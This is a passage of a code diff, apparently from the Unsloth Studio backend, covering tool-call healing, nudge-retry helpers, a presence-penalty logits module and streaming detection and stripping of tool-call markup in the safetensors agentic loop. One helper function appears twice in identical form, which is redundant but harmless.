+            id_offset = self._id_offset,
+            allow_incomplete = True,
+            with_spans = True,
+        )
+        events: list = []
+        pos = 0
+        any_promoted = False
+        for call, (start, end) in zip(parsed, spans):
+            promoted = _promote(
+                [call],
+                self._allowed,
+                id_offset = self._id_offset,
+                tool_schemas = self._tool_schemas,
+            )
+            if promoted:
+                if residue[pos:start]:
+                    events.append(("text", residue[pos:start]))
+                events.append(("tool_call", promoted[0]))
+                self._id_offset += 1
+                any_promoted = True
+            else:
+                events.append(("text", residue[pos:end]))
+            pos = end
+        if not any_promoted:
+            return [("text", residue)]
+        tail = residue[pos:].strip()
+        if tail:
+            events.append(("text", tail))
+        return events
+
+
+def _first_choice_message(data: Any) -> Optional[dict]:
+    """First-choice message dict of a non-streaming chat response, else None.
+
+    Upstream error bodies can carry ``"message": null`` (or no choices at all),
+    so never assume the shape: a non-dict message means "nothing to heal".
+    """
+    try:
+        message = data["choices"][0]["message"]
+    except (KeyError, IndexError, TypeError):
+        return None
+    return message if isinstance(message, dict) else None
+
+
+def _last_assistant_text(data: Any) -> str:
+    """First-choice assistant content of a non-streaming chat response, or ''."""
+    message = _first_choice_message(data)
+    content = message.get("content") if message else None
+    return content if isinstance(content, str) else ""
+
+
+def _heal_would_promote(
+    text: str,
+    allowed_tools: set,
+    tools: Optional[list] = None,
+) -> bool:
+    """Whether ``heal_openai_message`` would promote at least one call."""
+    parsed = parse_tool_calls_from_text(text, allow_incomplete = True)
+    tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None
+    return bool(_promote(parsed, allowed_tools, tool_schemas = tool_schemas))
+
+
+def response_has_promotable_calls(
+    data: Any,
+    allowed_tools: set,
+    tools: Optional[list] = None,
+) -> bool:
+    """True when a non-streaming chat response carries a usable tool call
+    (structured naming a DECLARED tool, or text-form that healing would
+    promote). Used to decide whether a nudge retry actually improved on the
+    original response; a hallucinated undeclared call is not an improvement."""
+    message = _first_choice_message(data)
+    if not message:
+        return False
+    tool_calls = message.get("tool_calls")
+    if tool_calls:
+        # ALL structured calls must be declared: the caller forwards the whole
+        # list (and a parallel cap could keep only the FIRST one), so a mixed
+        # response with a single hallucinated name could still hand the client
+        # an undeclared tool.
+        return all(
+            isinstance(tc, dict)
+            and isinstance(tc.get("function"), dict)
+            and tc["function"].get("name") in allowed_tools
+            for tc in tool_calls
+        )
+    text = message.get("content")
+    if not isinstance(text, str):
+        return False
+    return _heal_would_promote(text, allowed_tools, tools)
+
+
+def nudge_should_retry(
+    data: Any,
+    allowed_tools: Optional[set],
+    tools: Optional[list] = None,
+) -> bool:
+    """True when the first response tried to call a tool but nothing healed.
+
+    Trigger only on: healing enabled (allowed_tools set), zero structured
+    calls, a tool signal present in the text, and zero promotable calls -- the
+    exact failure a single re-ask can fix. Clean prose never retries.
+    """
+    if not allowed_tools:
+        return False
+    message = _first_choice_message(data)
+    if not message or message.get("tool_calls"):
+        return False
+    text = message.get("content")
+    if not isinstance(text, str) or not _has_heal_signal(text):
+        return False
+    return not _heal_would_promote(text, allowed_tools, tools)
+
+
+def nudge_messages(data: Any, allowed_tools: set) -> list:
+    """The two-message suffix appended for the single nudge retry.
+
+    The retry body is the original body plus this suffix, so the prompt prefix
+    is byte-identical and llama-server's slot/prefix cache is reused (same
+    shape as the enable-tools loop's reprompt).
+    """
+    tool_hint = " or ".join(f"`{name}`" for name in sorted(allowed_tools)) or "an available tool"
+    return [
+        {"role": "assistant", "content": _last_assistant_text(data)},
+        {
+            "role": "user",
+            "content": (
+                "You have access to the declared tools. If a tool is needed to "
+                f"complete the action you described, call {tool_hint} now using the "
+                "native tool-call format with valid JSON arguments, not prose. If no "
+                "tool is needed, provide the final answer directly."
+            ),
+        },
+    ]
diff --git a/studio/backend/core/inference/presence_penalty.py b/studio/backend/core/inference/presence_penalty.py
new file mode 100644
index 0000000000..c73c513887
--- /dev/null
+++ b/studio/backend/core/inference/presence_penalty.py
@@ -0,0 +1,49 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Presence-penalty logits helpers for the safetensors/MLX inference paths.
+
+Kept in a dependency-light leaf module (torch + transformers only, no unsloth /
+peft) so the pure logic can be imported and unit-tested without pulling in the
+full inference backend. ``core.inference.inference`` re-exports these for the
+runtime generate paths.
+"""
+
+import torch
+
+
+def apply_presence_penalty(input_ids, scores, penalty: float, prompt_len: int):
+    """OpenAI/llama.cpp presence penalty: subtract ``penalty`` once per distinct
+    completion token (positions >= prompt_len; prompt excluded, multiplicity
+    ignored, negatives raise). In place; zero is a no-op."""
+    if not penalty:
+        return scores
+    vocab_size = scores.shape[-1]
+    for b in range(input_ids.shape[0]):
+        generated = input_ids[b, prompt_len:]
+        if generated.numel() == 0:
+            continue
+        seen = torch.unique(generated)
+        # Bound generated ids to the valid range [0, vocab_size). Real completion
+        # tokens are always in range, so this is a zero-regression safety net that
+        # drops any stray out-of-range or negative id before indexing (mirrors the
+        # MLX path's bound). Filtering both ends avoids indexing scores with a
+        # negative id (which would silently wrap to the wrong row).
+        seen = seen[(seen >= 0) & (seen < vocab_size)]
+        if seen.numel():
+            scores[b, seen] = scores[b, seen] - penalty
+    return scores
+
+
+def _make_presence_penalty_processor(penalty: float, prompt_len: int):
+    """``LogitsProcessorList`` for ``apply_presence_penalty``; ``None`` at zero penalty (generate call stays byte-identical)."""
+    if not penalty:
+        return None
+    from transformers import LogitsProcessor, LogitsProcessorList
+
+    class _PresencePenaltyLogitsProcessor(LogitsProcessor):
+        @torch.no_grad()
+        def __call__(self, input_ids, scores):
+            return apply_presence_penalty(input_ids, scores, penalty, prompt_len)
+
+    return LogitsProcessorList([_PresencePenaltyLogitsProcessor()])
diff --git a/studio/backend/core/inference/safetensors_agentic.py b/studio/backend/core/inference/safetensors_agentic.py
index 0c96378d6c..81c25b777e 100644
--- a/studio/backend/core/inference/safetensors_agentic.py
+++ b/studio/backend/core/inference/safetensors_agentic.py
@@ -14,6 +14,7 @@ parses tool calls from the cumulative text and dispatches via
 ``core.inference.tools``.
 """
 
+import bisect
 import re
 import threading
 from typing import Callable, Generator, Optional
@@ -21,14 +22,38 @@ from typing import Callable, Generator, Optional
 from loggers import get_logger
 
 from core.inference.tool_call_parser import (
-    _TOOL_ALL_PATS,
+    _GEMMA_BARE_TC_PREFIX_RE,
+    _GEMMA_BARE_TC_RE,
+    _TOOL_ALL_PATS as _PARSER_TOOL_ALL_PATS,
+    _TOOL_CLOSED_PATS as _PARSER_TOOL_CLOSED_PATS,
+    _balanced_brace_end,
+    _strip_function_xml_calls,
+    _strip_gemma_wrapperless_calls,
+    _strip_glm_calls,
+    _strip_mistral_closed_calls,
+    _strip_mistral_reasoning,
     BUDGET_EXHAUSTED_NUDGE,
+    MAX_ACT_REPROMPTS,
     RAG_MAX_SEARCHES_PER_TURN,
     RAG_SEARCH_CAP_NUDGE,
     TOOL_XML_SIGNALS,
+    is_short_intent_without_action,
     parse_tool_calls_from_text,
+    reprompt_to_act_message,
+    strip_leading_bare_json_call,
+    strip_llama3_leading_sentinels,
     strip_tool_markup,
 )
+
+# The healer owns the bracket-tag + rehearsal strip helpers and their name-gated
+# pattern lists, so the safetensors streaming strip stays aligned with the parser.
+from core.tool_healing import (
+    _REHEARSAL_TAIL_STRIP_RE,
+    _strip_bracket_tag_calls,
+    _think_spans_outside_tool_markup,
+    apply_tool_strip_patterns,
+    strip_outside_think,
+)
 from core.inference.tool_loop_controller import (
     ToolLoopController,
     coerce_tool_arguments,
@@ -50,19 +75,213 @@ logger = get_logger(__name__)
 # Buffer cap while disambiguating a possible tool-call prefix.
 _MAX_BUFFER_CHARS = 32
 
+# Memory bound for holding a leading bare-JSON object whose top-level "{" never balances.
+_MAX_BARE_JSON_BUFFER = 16384
+
+
+# No grammar constraint here (unlike llama-server's lazy grammar): collapse
+# exact-duplicate calls and cap the count so a runaway turn cannot fan out.
+_MAX_TOOL_CALLS_PER_TURN = 8
+
+
+def _active_tool_names(active_tools: list[dict]) -> list[str]:
+    names = [
+        (tool.get("function") or {}).get("name")
+        for tool in active_tools
+        if isinstance(tool, dict) and isinstance(tool.get("function"), dict)
+    ]
+    return [name for name in names if name]
+
+
+def _active_tool_names(active_tools: list[dict]) -> list[str]:
+    names = [
+        (tool.get("function") or {}).get("name")
+        for tool in active_tools
+        if isinstance(tool, dict) and isinstance(tool.get("function"), dict)
+    ]
+    return [name for name in names if name]
+
+
+# Unrestricted mode has no tool list, so any identifier may open a NAME[ARGS] rehearsal;
+# ``[`` and each ARGS letter stay optional so a chunk split after ``NAME[`` is still held.
+_UNRESTRICTED_REHEARSAL_RE = re.compile(r"[\w-]+(?:\[(?:A(?:R(?:G(?:S)?)?)?)?)?")
+
+
+def _is_rehearsal_prefix(
+    stripped: str,
+    active_tools: list[dict],
+    *,
+    unrestricted: bool = False,
+) -> bool:
+    """True if ``stripped`` is a (possibly partial) prefix of a ``NAME[ARGS]``
+    rehearsal split across chunks (``web_search`` then ``[ARGS]{...}``). A space
+    means prose. Unrestricted mode accepts any identifier; else NAME must be active."""
+    if not stripped or any(ch.isspace() for ch in stripped):
+        return False
+    if unrestricted:
+        return _UNRESTRICTED_REHEARSAL_RE.fullmatch(stripped) is not None
+    for name in _active_tool_names(active_tools):
+        if stripped == name or f"{name}[ARGS]".startswith(stripped):
+            return True
+    return False
+
+
+def _held_rehearsal_tail_len(
+    text: str,
+    active_tools: list[dict],
+    *,
+    unrestricted: bool = False,
+) -> int:
+    """Length of a trailing bare tool-name token that may be a split rehearsal call
+    (``...web_search`` with ``[ARGS]{...}`` still to arrive), so STREAMING can hold it
+    instead of leaking the name. Returns 0 for ordinary prose."""
+    i = len(text)
+    while i > 0 and not text[i - 1].isspace():
+        i -= 1
+    tail = text[i:]
+    return (
+        len(tail)
+        if tail and _is_rehearsal_prefix(tail, active_tools, unrestricted = unrestricted)
+        else 0
+    )
+
+
+def _rehearsal_name_start(
+    candidate: str,
+    signal_pos: int,
+    active_tools: list[dict],
+    *,
+    unrestricted: bool = False,
+) -> int:
+    """For an ``[ARGS]`` signal at ``signal_pos``, return the start of the preceding
+    bare tool-name token (``NAME[ARGS]``), else ``signal_pos`` unchanged when the
+    signal is not ``[ARGS]`` or NAME is not an active tool (restricted mode)."""
+    if not candidate.startswith("[ARGS]", signal_pos):
+        return signal_pos
+    j = signal_pos
+    while j > 0 and (candidate[j - 1].isalnum() or candidate[j - 1] in "_-"):
+        j -= 1
+    if j < signal_pos and (
+        unrestricted or candidate[j:signal_pos] in _active_tool_names(active_tools)
+    ):
+        return j
+    return signal_pos
+
+
+def _earliest_tool_signal(
+    candidate: str,
+    signals,
+    active_tools: list[dict],
+    *,
+    unrestricted: bool = False,
+) -> int:
+    """Index where the turn's first genuine tool-call boundary begins, or -1.
+
+    Non-``[ARGS]`` markup wins on first occurrence. An ``[ARGS]`` hit is a rehearsal
+    only when an active tool name (any name in unrestricted mode) precedes it, so a
+    literal ``foo[ARGS]`` in prose is skipped rather than draining the turn; for a
+    real ``NAME[ARGS]`` the boundary is pulled back to NAME."""
+    best = -1
+    for sig in signals:
+        if sig != "[ARGS]":
+            p = candidate.find(sig)
+            if p >= 0 and (best < 0 or p < best):
+                best = p
+            continue
+        from_idx = 0
+        while True:
+            p = candidate.find("[ARGS]", from_idx)
+            if p < 0:
+                break
+            name_start = _rehearsal_name_start(
+                candidate, p, active_tools, unrestricted = unrestricted
+            )
+            if name_start < p:
+                # Genuine ``NAME[ARGS]``: the boundary is the start of NAME.
+                if best < 0 or name_start < best:
+                    best = name_start
+                break
+            # Bare/prose [ARGS]: skip it so a later real call in the same chunk is still found.
+            from_idx = p + len("[ARGS]")
+    return best
+
+
+def _has_genuine_tool_signal(
+    candidate: str,
+    signals,
+    active_tools: list[dict],
+    *,
+    unrestricted: bool = False,
+) -> bool:
+    """True when ``candidate`` holds a genuine tool-call boundary for one of ``signals``.
+
+    Non-``[ARGS]`` markers count on a substring hit; an ``[ARGS]`` hit is genuine only
+    when an active tool name (any in unrestricted mode) precedes it. Mirrors the
+    ``_earliest_tool_signal`` name-gating so BUFFERING / end-of-stream checks do not
+    drain inactive-name prose."""
+    for sig in signals:
+        if sig == "[ARGS]":
+            if (
+                _earliest_tool_signal(
+                    candidate, ("[ARGS]",), active_tools, unrestricted = unrestricted
+                )
+                >= 0
+            ):
+                return True
+            continue
+        if sig in candidate:
+            return True
+    return False
+
 
 def strip_tool_markup_streaming(
     text: str,
     *,
     auto_heal_tool_calls: bool = True,
     tool_protocol_active: bool = False,
+    enabled_tool_names: Optional[set] = None,
 ) -> str:
-    """Strip open-ended tool XML from display text without trimming whitespace."""
+    """Strip open-ended tool XML from display text without trimming whitespace.
+
+    Mirrors the parser-side ``strip_tool_markup`` segment scan (minus the final trim) so
+    streaming and final display agree: balanced strips first (nested JSON removed whole),
+    then the guarded function-XML / GLM scans that close at each call's REAL terminator so
+    literal markup inside argument values is data and trailing prose survives. Reasoning
+    ``<think>`` / ``[THINK]`` blocks are preserved verbatim (a rehearsed call inside one must
+    not be deleted, else the cumulative text shrinks then regrows). ``enabled_tool_names``
+    keeps an inactive-name ``foo[ARGS]{..}`` / ``call:NAME{..}`` example visible (it is prose,
+    not a call), matching the parse / detection active-tool gate."""
     if not (auto_heal_tool_calls or tool_protocol_active):
         return text
-    for pat in _TOOL_ALL_PATS:
-        text = pat.sub("", text)
-    return text
+
+    # Drop a leading Magistral ``[THINK]...[/THINK]`` block (bracket reasoning form, not the
+    # ``<think>`` channel) so raw reasoning does not leak into streamed display; an unclosed
+    # leading block is held (dropped to EOF) until its closer streams in.
+    text = _strip_mistral_reasoning(text)
+
+    def _seg(segment: str, is_last: bool) -> str:
+        # Same scan order as the parser's _strip_segment (seg_final -> is_last): balanced
+        # strips first, then the guarded function-XML / GLM scans, then the regex arms
+        # (DeepSeek / Kimi / closed forms). EOS-anchored tail arms run only on the last
+        # segment (a bare ``foo[ARGS]`` before <think> is prose). Rehearsal strips are name-gated.
+        seg = _strip_mistral_closed_calls(segment)
+        seg = _strip_bracket_tag_calls(seg, enabled_tool_names = enabled_tool_names)
+        if is_last:
+            seg = _strip_gemma_wrapperless_calls(seg, enabled_tool_names)
+        seg = _strip_function_xml_calls(seg, final = is_last)
+        seg = _strip_glm_calls(seg, final = is_last)
+        pats = _PARSER_TOOL_ALL_PATS if is_last else _PARSER_TOOL_CLOSED_PATS
+        for pat in pats:
+            seg = pat.sub("", seg)
+        if is_last:
+            seg = apply_tool_strip_patterns(
+                seg, [_REHEARSAL_TAIL_STRIP_RE], enabled_tool_names = enabled_tool_names
+            )
+        return seg
+
+    # Preserve think blocks verbatim: stripping a rehearsed call inside one shrinks then
+    # regrows the cumulative text, corrupting append-by-length consumers.
+    return strip_outside_think(text, _seg)
 
 
 def _strip_tool_markup_final(
@@ -70,10 +289,11 @@ def _strip_tool_markup_final(
     *,
     auto_heal_tool_calls: bool,
     tool_protocol_active: bool = False,
+    enabled_tool_names: Optional[set] = None,
 ) -> str:
     if not (auto_heal_tool_calls or tool_protocol_active):
         return text
-    return strip_tool_markup(text, final = True)
+    return strip_tool_markup(text, final = True, enabled_tool_names = enabled_tool_names)
 
 
 def _status_for_tool(tool_name: str, arguments: dict) -> str:
@@ -81,25 +301,76 @@ def _status_for_tool(tool_name: str, arguments: dict) -> str:
     return status_for_tool(tool_name, arguments)
 
 
+def _looks_like_enabled_bare_json(text: str, enabled_tool_names: Optional[set]) -> bool:
+    """True when ``text`` opens with an ENABLED markerless bare-JSON call; an ordinary JSON answer returns False."""
+    probe = strip_llama3_leading_sentinels(text.lstrip())
+    if not (probe.startswith("{") and ('"name"' in probe or '"function"' in probe)):
+        return False
+    return strip_leading_bare_json_call(probe, enabled_tool_names) != probe
+
+
 _FUNCTION_SIGNAL_RE = re.compile(r"<function=([\w-]+)>")
 _TOOL_CALL_NAME_RE = re.compile(r'"name"\s*:\s*"([\w-]+)"')
+# Mistral name/v11 and rehearsal forms, aligned with the parser so the provisional
+# render-html card fires for bracket-tag serializations too.
+_MISTRAL_RENDER_NAME_RE = re.compile(
+    r"\[TOOL_CALLS\]\s*([\w-]+)(?:\[CALL_ID\][\w-]+)?(?:\[ARGS\])?\s*(?=\{)"
+)
+_REHEARSAL_RENDER_NAME_RE = re.compile(r"(?<!\[CALL_ID\])\b([\w-]+)\[ARGS\]\s*(?=\{)")
 
 
 def _detect_render_html_tool_start(content: str) -> bool:
-    """Return True when the first drained tool call is clearly render_html."""
-    function_match = _FUNCTION_SIGNAL_RE.search(content)
-    tool_call_index = content.find("<tool_call>")
-    if not function_match and tool_call_index < 0:
+    """Return True when the FIRST tool call in ``content`` is clearly render_html.
+
+    Covers every serialization the loop executes (XML ``<function=>`` / ``<tool_call>``,
+    Mistral ``[TOOL_CALLS]``, rehearsal ``NAME[ARGS]``); the earliest marker wins so a
+    render_html marker inside another call's argument is treated as data. Markers inside
+    a ``<think>`` / ``[THINK]`` block are dropped since the parser skips them."""
+    think_spans = _think_spans_outside_tool_markup(content)
+    _think_starts = [s for s, _e in think_spans]
+
+    def _in_think(pos: int) -> bool:
+        if not think_spans:
+            return False
+        i = bisect.bisect_right(_think_starts, pos) - 1
+        return i >= 0 and think_spans[i][0] <= pos < think_spans[i][1]
+
+    def _first_outside(start: int, finder) -> int:
+        # First occurrence at/after ``start`` that is not inside a think span.
+        pos = finder(start)
+        while pos >= 0 and _in_think(pos):
+            pos = finder(pos + 1)
+        return pos
+
+    candidates: list[tuple[int, str]] = []
+    for fm in _FUNCTION_SIGNAL_RE.finditer(content):
+        if not _in_think(fm.start()):
+            candidates.append((fm.start(), fm.group(1)))
+            break
+    tc = _first_outside(0, lambda i: content.find("<tool_call>", i))
+    if tc >= 0:
+        nm = _TOOL_CALL_NAME_RE.search(content[tc:])
+        candidates.append((tc, nm.group(1) if nm else ""))
+    mt = _first_outside(0, lambda i: content.find("[TOOL_CALLS]", i))
+    if mt >= 0:
+        mm = _MISTRAL_RENDER_NAME_RE.match(content, mt)
+        if mm:
+            candidates.append((mt, mm.group(1)))
+        else:
+            # Array shape: a bare ``"name"`` search can latch onto an argument key, so resolve the
+            # first call through the parser (it reads top-level names).
+            arr_calls = parse_tool_calls_from_text(content[mt:])
+            if arr_calls:
+                candidates.append((mt, (arr_calls[0].get("function") or {}).get("name") or ""))
+    for rm in _REHEARSAL_RENDER_NAME_RE.finditer(content):
+        if not _in_think(rm.start(1)):
+            candidates.append((rm.start(1), rm.group(1)))
+            break
+
+    if not candidates:
         return False
-
-    if function_match and (tool_call_index < 0 or function_match.start() < tool_call_index):
-        return function_match.group(1) == "render_html"
-
-    if tool_call_index >= 0:
-        name_match = _TOOL_CALL_NAME_RE.search(content[tool_call_index:])
-        return bool(name_match and name_match.group(1) == "render_html")
-
-    return False
+    _pos, name = min(candidates, key = lambda c: c[0])
+    return name == "render_html"
 
 
 def _coerce_arguments_with_provenance(
@@ -149,6 +420,7 @@ def run_safetensors_tool_loop(
     execute_tool: Callable[..., str],
     cancel_event: Optional[threading.Event] = None,
     auto_heal_tool_calls: bool = True,
+    nudge_tool_calls: Optional[bool] = None,
     max_tool_iterations: int = 25,
     tool_call_timeout: int = 300,
     session_id: Optional[str] = None,
@@ -188,8 +460,17 @@ def run_safetensors_tool_loop(
         for _ev in _auto["events"]:
             yield _ev
         conversation.extend(_auto["messages"])
+    # Autoinject ran a KB search outside the controller, so it counts as an
+    # executed tool for the plan-without-action gate.
+    rag_autoinjected = bool(_auto)
 
     unrestricted_tools = not tools
+    # Gate telling a genuine NAME[ARGS] rehearsal from inactive-name prose; built from the
+    # ORIGINAL tools list so a spent one-shot still reads as a tool name. None = unrestricted.
+    _enabled_names_gate = None if unrestricted_tools else set(_active_tool_names(tools))
+    # Detection must see the same names as the strip gate (ORIGINAL list, incl. a spent
+    # one-shot), else its repeat is stripped but never drained and the turn ends blank.
+    _detect_tools = [] if unrestricted_tools else list(tools or [])
     tool_controller = ToolLoopController(
         tools = None if unrestricted_tools else tools,
         auto_heal_tool_calls = auto_heal_tool_calls,
@@ -198,6 +479,14 @@ def run_safetensors_tool_loop(
     kb_search_count = 0
     final_attempt_done = False
     next_call_id = 0
+    reprompt_count = 0
+    # A denied tool confirmation must not be answered with a plan-without-action
+    # re-prompt (which would raise the confirmation gate again).
+    tool_denied = False
+    # Real tool-call turns completed. Only turns that actually executed a tool count
+    # against ``max_tool_iterations``; a duplicate/disabled no-op correction turn (and a
+    # plan-without-action re-prompt) must not consume budget, matching the GGUF loop.
+    _executed_tool_iters = 0
 
     def _tool_succeeded(tool_name: str) -> bool:
         key_prefix = f"{tool_name}:"
@@ -215,9 +504,13 @@ def run_safetensors_tool_loop(
     _state_streaming = 1
     _state_draining = 2
 
-    for iteration in range(max_tool_iterations + 1):
+    # Reserve re-prompt slots so they don't eat the caller's tool budget.
+    _extra_iters = MAX_ACT_REPROMPTS if max_tool_iterations > 0 else 0
+    for iteration in range(max_tool_iterations + _extra_iters + 1):
         if cancel_event is not None and cancel_event.is_set():
             return
+        # Whether this turn ran a tool; a no-op-only turn stays False and doesn't consume budget.
+        _turn_executed_real_tool = False
 
         if final_attempt_done:
             active_tools: list[dict] = []
@@ -229,6 +522,8 @@ def run_safetensors_tool_loop(
 
         tool_protocol_active = not final_attempt_done and (unrestricted_tools or bool(active_tools))
         tool_xml_signals = TOOL_XML_SIGNALS if tool_protocol_active else ()
+        # Gate the markerless bare-JSON form on enabled names so an ordinary JSON answer isn't misread as a call.
+        _enabled_tool_names = None if unrestricted_tools else set(_active_tool_names(active_tools))
 
         detect_state = _state_buffering
         content_buffer = ""
@@ -304,17 +599,18 @@ def run_safetensors_tool_loop(
 
             if detect_state == _state_streaming:
                 candidate = cumulative_display + delta
-                signal_pos = -1
-                for sig in tool_xml_signals:
-                    p = candidate.find(sig)
-                    if p >= 0 and (signal_pos < 0 or p < signal_pos):
-                        signal_pos = p
+                # Earliest genuine boundary: bare [ARGS] in prose is skipped; a real NAME[ARGS] is
+                # pulled back to NAME so the name is not flushed.
+                signal_pos = _earliest_tool_signal(
+                    candidate, tool_xml_signals, _detect_tools, unrestricted = unrestricted_tools
+                )
                 if signal_pos >= 0:
                     before_tool = candidate[:signal_pos]
                     cleaned_before = strip_tool_markup_streaming(
                         before_tool,
                         auto_heal_tool_calls = auto_heal_tool_calls,
                         tool_protocol_active = tool_protocol_active,
+                        enabled_tool_names = _enabled_names_gate,
                     )
                     if len(cleaned_before) > len(last_emitted):
                         last_emitted = cleaned_before
@@ -345,10 +641,20 @@ def run_safetensors_tool_loop(
                     cumulative_display,
                     auto_heal_tool_calls = auto_heal_tool_calls,
                     tool_protocol_active = tool_protocol_active,
+                    enabled_tool_names = _enabled_names_gate,
                 )
-                if len(cleaned) > len(last_emitted):
-                    last_emitted = cleaned
-                    yield {"type": "content", "text": cleaned}
+                # Hold a trailing bare active-tool-name (split rehearsal) until its [ARGS] arrives;
+                # released by later prose or the end-of-stream flush.
+                if tool_protocol_active:
+                    _hold = _held_rehearsal_tail_len(
+                        cleaned, _detect_tools, unrestricted = unrestricted_tools
+                    )
+                    emit = cleaned[: len(cleaned) - _hold] if _hold else cleaned
+                else:
+                    emit = cleaned
+                if len(emit) > len(last_emitted):
+                    last_emitted = emit
+                    yield {"type": "content", "text": emit}
                 continue
 
             # BUFFERING: hold until we know it is not a tool call.
@@ -366,6 +672,92 @@ def run_safetensors_tool_loop(
                 if sig.startswith(stripped):
                     is_prefix = True
                     break
+                # Bracket-tag forms arrive mid-buffer, so substring-check too (mirrors GGUF); [ARGS]
+                # counts only with an active NAME so prose is not drained into a no-op.
+                if sig == "[ARGS]":
+                    if (
+                        _earliest_tool_signal(
+                            stripped,
+                            ("[ARGS]",),
+                            _detect_tools,
+                            unrestricted = unrestricted_tools,
+                        )
+                        >= 0
+                    ):
+                        is_match = True
+                        break
+                elif sig.startswith("[") and sig in stripped:
+                    is_match = True
+                    break
+
+            # Split rehearsal: hold the bare name until its [ARGS] arrives and matches above.
+            is_rehearsal_prefix = False
+            if (
+                not is_match
+                and not is_prefix
+                and tool_protocol_active
+                and _is_rehearsal_prefix(stripped, _detect_tools, unrestricted = unrestricted_tools)
+            ):
+                is_prefix = True
+                is_rehearsal_prefix = True
+
+            # Llama-3.2 ``custom_tools`` emits a bare ``{"name":..,"parameters":..}`` with no XML
+            # signal. Hold a leading ``{`` (after any sentinel) until it closes: drain if it parses
+            # as a call, else stream as content. Non-call text is always recovered downstream.
+            bare_probe = strip_llama3_leading_sentinels(stripped)
+            if (
+                not is_match
+                and not is_prefix
+                and tool_protocol_active
+                and bare_probe.startswith("{")
+            ):
+                if _balanced_brace_end(bare_probe, 0) is None:
+                    if len(stripped) < _MAX_BARE_JSON_BUFFER:
+                        continue  # object still open -- keep buffering
+                    elif _looks_like_enabled_bare_json(bare_probe, _enabled_tool_names):
+                        # Oversized still-open ENABLED-tool call: stop holding (memory bound) but
+                        # DRAIN instead of leaking the raw prefix; a giant ordinary JSON answer still streams.
+                        detect_state = _state_draining
+                        continue
+                elif parse_tool_calls_from_text(
+                    content_buffer,
+                    id_offset = next_call_id,
+                    allow_incomplete = auto_heal_tool_calls,
+                    enabled_tool_names = _enabled_tool_names,
+                ):
+                    # Closed object that parses as a bare-JSON call -- drain silently.
+                    detect_state = _state_draining
+                    continue
+                # Closed non-call object (or oversized non-call) -- stream as text.
+
+            # Gemma wrapper-less ``call:NAME{...}`` has no tool_xml_signals entry:
+            # buffer it here or it streams raw until the end-of-turn safety net.
+            # ``(?<!\w)`` keeps "recall:" out; the prefix regex is whitespace-tolerant.
+            if (
+                not is_match
+                and not is_prefix
+                and tool_protocol_active
+                and (
+                    "call:".startswith(stripped)
+                    or _GEMMA_BARE_TC_PREFIX_RE.match(stripped) is not None
+                    or _GEMMA_BARE_TC_RE.match(stripped) is not None
+                )
+            ):
+                if _GEMMA_BARE_TC_RE.match(stripped):
+                    detect_state = _state_draining
+                    continue
+                # A ``call:`` / ``call:partial_name`` prefix with no ``{`` yet: keep
+                # buffering the variable-length name instead of leaking ``call:longname``.
+                # Names can exceed 32 chars (OpenAI 64, MCP longer), so a fixed cap would
+                # flush real calls raw. The prefix regex self-terminates on ordinary prose
+                # and the ``{`` drains above; bound generously like the bare-JSON path.
+                if _GEMMA_BARE_TC_PREFIX_RE.match(stripped) is not None:
+                    if len(stripped) < _MAX_BARE_JSON_BUFFER:
+                        continue
+                    detect_state = _state_draining
+                    continue
+                if len(stripped) < _MAX_BUFFER_CHARS:
+                    continue  # bare "call:" prefix still forming
 
             if is_match:
                 # Tool signal -- flush any visible prefix before DRAINING
@@ -375,6 +767,7 @@ def run_safetensors_tool_loop(
                     cumulative_display,
                     auto_heal_tool_calls = auto_heal_tool_calls,
                     tool_protocol_active = tool_protocol_active,
+                    enabled_tool_names = _enabled_names_gate,
                 )
                 if len(cleaned) > len(last_emitted):
                     last_emitted = cleaned
@@ -398,7 +791,8 @@ def run_safetensors_tool_loop(
                         "arguments": {},
                         "provenance": _tool_event_provenance(provisional = True),
                     }
-            elif is_prefix and len(stripped) < _MAX_BUFFER_CHARS:
+            elif is_prefix and (is_rehearsal_prefix or len(stripped) < _MAX_BUFFER_CHARS):
+                # A rehearsal prefix is self-bounded; the buffer cap must not cut long MCP names short.
                 continue
             else:
                 detect_state = _state_streaming
@@ -407,57 +801,121 @@ def run_safetensors_tool_loop(
                     cumulative_display,
                     auto_heal_tool_calls = auto_heal_tool_calls,
                     tool_protocol_active = tool_protocol_active,
+                    enabled_tool_names = _enabled_names_gate,
                 )
-                if len(cleaned) > len(last_emitted):
-                    last_emitted = cleaned
-                    yield {"type": "content", "text": cleaned}
+                # Same trailing-name hold as STREAMING for this first flush out of BUFFERING.
+                if tool_protocol_active:
+                    _hold = _held_rehearsal_tail_len(
+                        cleaned, _detect_tools, unrestricted = unrestricted_tools
+                    )
+                    emit = cleaned[: len(cleaned) - _hold] if _hold else cleaned
+                else:
+                    emit = cleaned
+                if len(emit) > len(last_emitted):
+                    last_emitted = emit
+                    yield {"type": "content", "text": emit}
 
         # Stream finished -- resolve what we collected.
         if cancel_event is not None and cancel_event.is_set():
             return
 
         if detect_state == _state_buffering:
-            # Buffer never resolved -- tool XML or plain content?
+            # Buffer never resolved: [ARGS] is name-gated so a prose answer with a literal
+            # ``foo[ARGS]{...}`` is not parsed.
             stripped = content_buffer.lstrip()
+            _bare_eos = strip_llama3_leading_sentinels(stripped)
             if (
                 stripped
                 and tool_protocol_active
-                and any(sig in stripped for sig in tool_xml_signals)
+                and _has_genuine_tool_signal(
+                    stripped,
+                    tool_xml_signals,
+                    _detect_tools,
+                    unrestricted = unrestricted_tools,
+                )
             ):
                 detect_state = _state_draining
+            elif tool_protocol_active and _looks_like_enabled_bare_json(
+                _bare_eos, _enabled_tool_names
+            ):
+                # A held bare-JSON ENABLED-tool fragment has no XML signal; DRAIN it (an ordinary
+                # JSON answer falls through to the else and streams as content, GGUF parity).
+                detect_state = _state_draining
             else:
+                # Drain and fall through to STREAMING so the intent re-prompt + safety-net parser
+                # still fire on short emissions like "Let me search." that never exit BUFFERING.
                 if content_buffer:
                     cumulative_display += content_buffer
-                    yield {
-                        "type": "content",
-                        "text": _strip_tool_markup_final(
-                            cumulative_display,
-                            auto_heal_tool_calls = auto_heal_tool_calls,
-                            tool_protocol_active = False,
-                        ),
-                    }
-                yield {"type": "status", "text": ""}
-                return
+                    cleaned = strip_tool_markup(
+                        cumulative_display, final = True, enabled_tool_names = _enabled_tool_names
+                    )
+                    if len(cleaned) > len(last_emitted):
+                        last_emitted = cleaned
+                        yield {"type": "content", "text": cleaned}
+                detect_state = _state_streaming
 
         if detect_state == _state_streaming:
